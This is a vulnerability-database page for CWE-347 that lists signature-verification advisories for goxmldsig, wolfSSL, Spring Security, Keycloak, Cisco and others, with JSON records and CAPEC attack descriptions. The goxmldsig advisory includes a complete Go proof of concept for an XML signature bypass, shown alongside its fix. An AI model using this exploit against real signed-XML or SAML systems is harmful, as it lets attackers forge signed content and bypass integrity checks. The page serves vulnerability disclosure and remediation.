GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1344 vulnerabilities reference this CWE, most recent first.

GHSA-479M-364C-43VC

Vulnerability from github – Published: 2026-03-18 20:18 – Updated: 2026-03-27 20:58
VLAI
Summary
validateSignature Loop Variable Capture Signature Bypass in goxmldsig
Details

Details

The validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop.


Technical Details

The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.

As a result, any pointer to this variable will always point to the value of the last element processed by the loop, no matter which element matched the search criteria.

Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.

// goxmldsig/validate.go (Lines 309-313)    
for _, _ref := range signedInfo.References {
        if _ref.URI == "" || _ref.URI[1:] == idAttr {
            ref = &_ref // <- Capture var address of loop
        }
    }


PoC

The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.

package main

import (
    "crypto/rand"
    "crypto/rsa"
    "crypto/tls"
    "crypto/x509"
    "encoding/base64"
    "fmt"
    "math/big"
    "time"

    "github.com/beevik/etree"
    dsig "github.com/russellhaering/goxmldsig"
)

func main() {
    key, err := rsa.GenerateKey(rand.Reader, 2048)
    if err != nil {
        panic(err)
    }

    template := &x509.Certificate{
        SerialNumber: big.NewInt(1),
        NotBefore:    time.Now().Add(-1 * time.Hour),
        NotAfter:     time.Now().Add(1 * time.Hour),
    }

    certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
    if err != nil {
        panic(err)
    }

    cert, _ := x509.ParseCertificate(certDER)

    doc := etree.NewDocument()
    root := doc.CreateElement("Root")
    root.CreateAttr("ID", "target")
    root.SetText("Malicious Content")

    tlsCert := tls.Certificate{
        Certificate: [][]byte{cert.Raw},
        PrivateKey:  key,
    }

    ks := dsig.TLSCertKeyStore(tlsCert)
    signingCtx := dsig.NewDefaultSigningContext(ks)

    sig, err := signingCtx.ConstructSignature(root, true)
    if err != nil {
        panic(err)
    }

    signedInfo := sig.FindElement("./SignedInfo")

    existingRef := signedInfo.FindElement("./Reference")
    existingRef.CreateAttr("URI", "#dummy")

    originalEl := etree.NewElement("Root")
    originalEl.CreateAttr("ID", "target")
    originalEl.SetText("Original Content")

    sig1, _ := signingCtx.ConstructSignature(originalEl, true)
    ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()

    signedInfo.InsertChildAt(existingRef.Index(), ref1)

    c14n := signingCtx.Canonicalizer

    detachedSI := signedInfo.Copy()
    if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
        detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
    }

    canonicalBytes, err := c14n.Canonicalize(detachedSI)
    if err != nil {
        fmt.Println("c14n error:", err)
        return
    }

    hash := signingCtx.Hash.New()
    hash.Write(canonicalBytes)
    digest := hash.Sum(nil)

    rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
    if err != nil {
        panic(err)
    }

    sigVal := sig.FindElement("./SignatureValue")
    sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))

    certStore := &dsig.MemoryX509CertificateStore{
        Roots: []*x509.Certificate{cert},
    }
    valCtx := dsig.NewDefaultValidationContext(certStore)

    root.AddChild(sig)

    doc.SetRoot(root)
    str, _ := doc.WriteToString()
    fmt.Println("XML:")
    fmt.Println(str)

    validated, err := valCtx.Validate(root)
    if err != nil {
        fmt.Println("validation failed:", err)
    } else {
        fmt.Println("validation ok")
        fmt.Println("validated text:", validated.Text())
    }
}

Impact

This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.


Remediation

Update the loop to capture the value correctly or use the index to reference the slice directly.

// goxmldsig/validate.go    
func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {
    var ref *types.Reference

  // OLD
    // for _, _ref := range signedInfo.References {
    //  if _ref.URI == "" || _ref.URI[1:] == idAttr {
    //      ref = &_ref
    //  }
    // }

  // FIX
    for i := range signedInfo.References {
        if signedInfo.References[i].URI == "" ||
            signedInfo.References[i].URI[1:] == idAttr {
            ref = &signedInfo.References[i]
            break
        }
    }

    // ...
}

References

https://cwe.mitre.org/data/definitions/347.html

https://cwe.mitre.org/data/definitions/682.html

https://github.com/russellhaering/goxmldsig/blob/main/validate.go


Author: Tomas Illuminati

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/russellhaering/goxmldsig"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347",
      "CWE-682"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:18:22Z",
    "nvd_published_at": "2026-03-26T18:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Details\n\nThe `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element\u0027s ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop.\n\n------\n\n### Technical Details\n\nThe code takes the address of a loop iteration variable (\u0026_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.\n\nAs a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria.\n\nUsing Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address \u0026_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.\n\n```````go\n// goxmldsig/validate.go (Lines 309-313)\t\nfor _, _ref := range signedInfo.References {\n\t\tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t\t\tref = \u0026_ref // \u003c- Capture var address of loop\n\t\t}\n\t}\n\n```````\n\n-----\n\n### PoC\n\nThe PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.\n\n``````go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/beevik/etree\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttemplate := \u0026x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tNotBefore:    time.Now().Add(-1 * time.Hour),\n\t\tNotAfter:     time.Now().Add(1 * time.Hour),\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, template, \u0026key.PublicKey, key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcert, _ := x509.ParseCertificate(certDER)\n\n\tdoc := etree.NewDocument()\n\troot := doc.CreateElement(\"Root\")\n\troot.CreateAttr(\"ID\", \"target\")\n\troot.SetText(\"Malicious Content\")\n\n\ttlsCert := tls.Certificate{\n\t\tCertificate: [][]byte{cert.Raw},\n\t\tPrivateKey:  key,\n\t}\n\n\tks := dsig.TLSCertKeyStore(tlsCert)\n\tsigningCtx := dsig.NewDefaultSigningContext(ks)\n\n\tsig, err := signingCtx.ConstructSignature(root, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsignedInfo := sig.FindElement(\"./SignedInfo\")\n\n\texistingRef := signedInfo.FindElement(\"./Reference\")\n\texistingRef.CreateAttr(\"URI\", \"#dummy\")\n\n\toriginalEl := etree.NewElement(\"Root\")\n\toriginalEl.CreateAttr(\"ID\", \"target\")\n\toriginalEl.SetText(\"Original Content\")\n\n\tsig1, _ := signingCtx.ConstructSignature(originalEl, true)\n\tref1 := sig1.FindElement(\"./SignedInfo/Reference\").Copy()\n\n\tsignedInfo.InsertChildAt(existingRef.Index(), ref1)\n\n\tc14n := signingCtx.Canonicalizer\n\n\tdetachedSI := signedInfo.Copy()\n\tif detachedSI.SelectAttr(\"xmlns:\"+dsig.DefaultPrefix) == nil {\n\t\tdetachedSI.CreateAttr(\"xmlns:\"+dsig.DefaultPrefix, dsig.Namespace)\n\t}\n\n\tcanonicalBytes, err := c14n.Canonicalize(detachedSI)\n\tif err != nil {\n\t\tfmt.Println(\"c14n error:\", err)\n\t\treturn\n\t}\n\n\thash := signingCtx.Hash.New()\n\thash.Write(canonicalBytes)\n\tdigest := hash.Sum(nil)\n\n\trawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsigVal := sig.FindElement(\"./SignatureValue\")\n\tsigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))\n\n\tcertStore := \u0026dsig.MemoryX509CertificateStore{\n\t\tRoots: []*x509.Certificate{cert},\n\t}\n\tvalCtx := dsig.NewDefaultValidationContext(certStore)\n\n\troot.AddChild(sig)\n\n\tdoc.SetRoot(root)\n\tstr, _ := doc.WriteToString()\n\tfmt.Println(\"XML:\")\n\tfmt.Println(str)\n\n\tvalidated, err := valCtx.Validate(root)\n\tif err != nil {\n\t\tfmt.Println(\"validation failed:\", err)\n\t} else {\n\t\tfmt.Println(\"validation ok\")\n\t\tfmt.Println(\"validated text:\", validated.Text())\n\t}\n}\n``````\n\n-----\n\n### Impact\n\nThis vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// goxmldsig/validate.go\t\nfunc (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {\n\tvar ref *types.Reference\n\n  // OLD\n\t// for _, _ref := range signedInfo.References {\n\t// \tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t// \t\tref = \u0026_ref\n\t// \t}\n\t// }\n\t\n  // FIX\n\tfor i := range signedInfo.References {\n\t\tif signedInfo.References[i].URI == \"\" ||\n\t\t\tsignedInfo.References[i].URI[1:] == idAttr {\n\t\t\tref = \u0026signedInfo.References[i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// ...\n}\n``````\n\n----\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/347.html\n\nhttps://cwe.mitre.org/data/definitions/682.html\n\nhttps://github.com/russellhaering/goxmldsig/blob/main/validate.go\n\n-----\n\n**Author**: Tomas Illuminati",
  "id": "GHSA-479m-364c-43vc",
  "modified": "2026-03-27T20:58:00Z",
  "published": "2026-03-18T20:18:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-479m-364c-43vc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33487"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/russellhaering/goxmldsig"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "validateSignature Loop Variable Capture Signature Bypass in goxmldsig"
}

GHSA-47QF-HP3H-RWMM

Vulnerability from github – Published: 2026-04-10 06:31 – Updated: 2026-04-29 15:30
VLAI
Details

wolfSSL's ECCSI signature verifier wc_VerifyEccsiHash decodes the r and s scalars from the signature blob via mp_read_unsigned_bin with no check that they lie in [1, q-1]. A crafted forged signature could verify against any message for any identity, using only publicly-known constants.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5466"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-10T04:17:16Z",
    "severity": "HIGH"
  },
  "details": "wolfSSL\u0027s ECCSI signature verifier `wc_VerifyEccsiHash` decodes the `r` and `s` scalars from the signature blob via `mp_read_unsigned_bin` with no check that they lie in `[1, q-1]`. A crafted forged signature could verify against any message for any identity, using only publicly-known constants.",
  "id": "GHSA-47qf-hp3h-rwmm",
  "modified": "2026-04-29T15:30:36Z",
  "published": "2026-04-10T06:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5466"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wolfssl/wolfssl/pull/10102"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4847-3CW5-45XM

Vulnerability from github – Published: 2023-01-30 18:30 – Updated: 2023-02-06 21:30
VLAI
Details

The Robot application in Ip-label Newtest before v8.5R0 was discovered to use weak signature checks on executed binaries, allowing attackers to have write access and escalate privileges via replacing NEWTESTREMOTEMANAGER.EXE.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-23334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-30T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Robot application in Ip-label Newtest before v8.5R0 was discovered to use weak signature checks on executed binaries, allowing attackers to have write access and escalate privileges via replacing NEWTESTREMOTEMANAGER.EXE.",
  "id": "GHSA-4847-3cw5-45xm",
  "modified": "2023-02-06T21:30:30Z",
  "published": "2023-01-30T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23334"
    },
    {
      "type": "WEB",
      "url": "https://www.on-x.com/wp-content/uploads/2023/01/ON-X-Security-Advisory-Ip-label-Ekara-Newtest-CVE-2022-23334.pdf"
    },
    {
      "type": "WEB",
      "url": "http://ip-label.com"
    },
    {
      "type": "WEB",
      "url": "http://newtest.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-48JG-H3CV-MQVX

Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11
VLAI
Details

In Eclipse Californium version 2.0.0 to 2.6.4 and 3.0.0-M1 to 3.0.0-M3, the certificate based (x509 and RPK) DTLS handshakes accidentally succeeds without verifying the server side's signature on the client side, if that signature is not included in the server's ServerKeyExchange.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-34433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-20T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Eclipse Californium version 2.0.0 to 2.6.4 and 3.0.0-M1 to 3.0.0-M3, the certificate based (x509 and RPK) DTLS handshakes accidentally succeeds without verifying the server side\u0027s signature on the client side, if that signature is not included in the server\u0027s ServerKeyExchange.",
  "id": "GHSA-48jg-h3cv-mqvx",
  "modified": "2022-05-24T19:11:49Z",
  "published": "2022-05-24T19:11:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34433"
    },
    {
      "type": "WEB",
      "url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=575281"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-48RW-J489-928M

Vulnerability from github – Published: 2020-06-05 16:13 – Updated: 2021-06-15 17:44
VLAI
Summary
Signature wrapping vulnerability in Spring Security
Details

Spring Security versions 5.2.x prior to 5.2.4 and 5.3.x prior to 5.3.2 contain a signature wrapping vulnerability during SAML response validation. When using the spring-security-saml2-service-provider component, a malicious user can carefully modify an otherwise valid SAML response and append an arbitrary assertion that Spring Security will accept as valid.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.0"
            },
            {
              "fixed": "5.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5407"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-04T19:19:34Z",
    "nvd_published_at": "2020-05-13T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Spring Security versions 5.2.x prior to 5.2.4 and 5.3.x prior to 5.3.2 contain a signature wrapping vulnerability during SAML response validation. When using the spring-security-saml2-service-provider component, a malicious user can carefully modify an otherwise valid SAML response and append an arbitrary assertion that Spring Security will accept as valid.",
  "id": "GHSA-48rw-j489-928m",
  "modified": "2021-06-15T17:44:45Z",
  "published": "2020-06-05T16:13:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5407"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r73af928cf64bebf78b7fa4bc56a5253273ec7829f5f5827f64c72fc7@%3Cissues.servicemix.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra19a4e7236877fe12bfb52db07b27ad72d9e7a9f5e27bba7e928e18a@%3Cdev.geode.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd99601fbca514f214f88f9e53fd5be3cfbff05b350c994b4ec2e184c@%3Cdev.geode.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://tanzu.vmware.com/security/cve-2020-5407"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signature wrapping vulnerability in Spring Security"
}

GHSA-49Q7-C7J4-3P7M

Vulnerability from github – Published: 2024-08-02 09:31 – Updated: 2025-11-04 16:52
VLAI
Summary
Elliptic allows BER-encoded signatures
Details

In the Elliptic package 6.5.6 for Node.js, ECDSA signature malleability occurs because BER-encoded signatures are allowed.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "elliptic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.1"
            },
            {
              "fixed": "6.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-42461"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-05T13:51:26Z",
    "nvd_published_at": "2024-08-02T07:16:10Z",
    "severity": "LOW"
  },
  "details": "In the Elliptic package 6.5.6 for Node.js, ECDSA signature malleability occurs because BER-encoded signatures are allowed.",
  "id": "GHSA-49q7-c7j4-3p7m",
  "modified": "2025-11-04T16:52:52Z",
  "published": "2024-08-02T09:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42461"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/elliptic/pull/317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/elliptic/commit/accb61e9c1a005e5c8ff96a8b33893100bb42d11"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/indutny/elliptic"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241004-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Elliptic allows BER-encoded signatures"
}

GHSA-49V6-V34Q-P4W7

Vulnerability from github – Published: 2026-09-09 12:32 – Updated: 2026-09-09 12:32
VLAI
Details

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-79970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T12:17:14Z",
    "severity": "MODERATE"
  },
  "details": "Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.",
  "id": "GHSA-49v6-v34q-p4w7",
  "modified": "2026-09-09T12:32:14Z",
  "published": "2026-09-09T12:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79970"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-in/000503426/dsa-2026-382-security-update-for-dell-secure-connect-gateway-virtual-edition-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4C73-WX52-99CM

Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45
VLAI
Details

Multiple vulnerabilities in the fast reload feature of Cisco IOS XE Software running on Cisco Catalyst 3850, Cisco Catalyst 9300, and Cisco Catalyst 9300L Series Switches could allow an authenticated, local attacker to either execute arbitrary code on the underlying operating system, install and boot a malicious software image, or execute unsigned binaries on an affected device. These vulnerabilities are due to improper checks performed by system boot routines. To exploit these vulnerabilities, the attacker would need privileged access to the CLI of the device. A successful exploit could allow the attacker to either execute arbitrary code on the underlying operating system or execute unsigned code and bypass the image verification check part of the secure boot process. For more information about these vulnerabilities, see the Details section of this advisory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-1375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-24T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple vulnerabilities in the fast reload feature of Cisco IOS XE Software running on Cisco Catalyst 3850, Cisco Catalyst 9300, and Cisco Catalyst 9300L Series Switches could allow an authenticated, local attacker to either execute arbitrary code on the underlying operating system, install and boot a malicious software image, or execute unsigned binaries on an affected device. These vulnerabilities are due to improper checks performed by system boot routines. To exploit these vulnerabilities, the attacker would need privileged access to the CLI of the device. A successful exploit could allow the attacker to either execute arbitrary code on the underlying operating system or execute unsigned code and bypass the image verification check part of the secure boot process. For more information about these vulnerabilities, see the Details section of this advisory.",
  "id": "GHSA-4c73-wx52-99cm",
  "modified": "2022-05-24T17:45:12Z",
  "published": "2022-05-24T17:45:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1375"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fast-Zqr6DD5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4CH4-JP34-QWGW

Vulnerability from github – Published: 2024-12-19 00:37 – Updated: 2024-12-19 00:37
VLAI
Details

A library injection vulnerability exists in the WebView.app helper app of Microsoft Teams (work or school) 24046.2813.2770.1094 for macOS. A specially crafted library can leverage Teams's access privileges, leading to a permission bypass. A malicious application could inject a library and start the program to trigger this vulnerability and then make use of the vulnerable application's permissions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41145"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-18T23:15:07Z",
    "severity": "HIGH"
  },
  "details": "A library injection vulnerability exists in the WebView.app helper app of Microsoft Teams (work or school) 24046.2813.2770.1094 for macOS. A specially crafted library can leverage Teams\u0027s access privileges, leading to a permission bypass. A malicious application could inject a library and start the program to trigger this vulnerability and then make use of the vulnerable application\u0027s permissions.",
  "id": "GHSA-4ch4-jp34-qwgw",
  "modified": "2024-12-19T00:37:35Z",
  "published": "2024-12-19T00:37:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41145"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2024-1990"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-1990"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4FGQ-GQ9G-3RW7

Vulnerability from github – Published: 2019-09-23 18:32 – Updated: 2021-04-01 20:57
VLAI
Summary
Improper Verification of Cryptographic Signature in keycloak
Details

It was found that Keycloak's SAML broker, versions up to 6.0.1, did not verify missing message signatures. If an attacker modifies the SAML Response and removes the sections, the message is still accepted, and the message can be modified. An attacker could use this flaw to impersonate other users and gain access to sensitive information.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-09-19T15:26:01Z",
    "nvd_published_at": "2019-08-14T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "It was found that Keycloak\u0027s SAML broker, versions up to 6.0.1, did not verify missing message signatures. If an attacker modifies the SAML Response and removes the \u003cSignature\u003e sections, the message is still accepted, and the message can be modified. An attacker could use this flaw to impersonate other users and gain access to sensitive information.",
  "id": "GHSA-4fgq-gq9g-3rw7",
  "modified": "2021-04-01T20:57:58Z",
  "published": "2019-09-23T18:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10201"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10201"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Verification of Cryptographic Signature in keycloak"
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.